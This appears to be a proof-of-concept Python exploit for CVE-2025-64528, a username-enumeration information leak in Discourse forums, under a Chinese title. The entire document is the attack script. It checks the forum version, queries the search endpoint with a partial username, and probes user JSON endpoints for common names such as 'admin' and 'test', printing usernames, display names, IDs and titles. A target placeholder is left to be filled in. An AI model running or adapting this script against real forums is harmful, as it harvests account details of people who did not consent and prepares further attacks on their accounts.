CVE-2025-64528 Discourse用户名枚举信息泄露漏洞

# CVE-2025-64528 PoC - Discourse Username Enumeration import requests import json TARGET_HOST = "https://forum.example.com" # Replace with target PARTIAL_USERNAME = "admin" # Partial username to search def check_discourse_version(): """Check Discourse version""" try: response = requests.get(f"{TARGET_HOST}/about.json", timeout=10) if response.status_code == 200: data = response.json() version = data.get('version', 'unknown') print(f"[*] Discourse Version: {version}") return version except Exception as e: print(f"[!] Error checking version: {e}") return None def enumerate_users(partial_username): """Enumerate users via search API""" print(f"[*] Enumerating users with partial username: {partial_username}") # Try search endpoint search_url = f"{TARGET_HOST}/search.json" params = { 'q': partial_username, 'type': 'user' } try: response = requests.get(search_url, params=params, timeout=10) if response.status_code == 200: data = response.json() users = data.get('users', []) if users: print(f"[+] Found {len(users)} user(s):") for user in users: print(f" - Username: {user.get('username')}") print(f" Display Name: {user.get('name', 'N/A')}") print(f" ID: {user.get('id')}") print() else: print("[-] No users found via search endpoint") except Exception as e: print(f"[!] Error during enumeration: {e}") def direct_api_check(username): """Directly check user via API""" print(f"[*] Checking user directly: {username}") user_url = f"{TARGET_HOST}/u/{username}.json" try: response = requests.get(user_url, timeout=10) if response.status_code == 200: data = response.json() user_data = data.get('user', {}) print(f"[+] User found via direct API:") print(f" - Username: {user_data.get('username')}") print(f" Name: {user_data.get('name', 'N/A')}") print(f" Title: {user_data.get('title', 'N/A')}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": print("=" * 50) print("CVE-2025-64528 - Discourse User Enumeration") print("=" * 50) version = check_discourse_version() if version: enumerate_users(PARTIAL_USERNAME) # Try common usernames for common_name in ['admin', 'test', 'user', 'demo']: direct_api_check(common_name)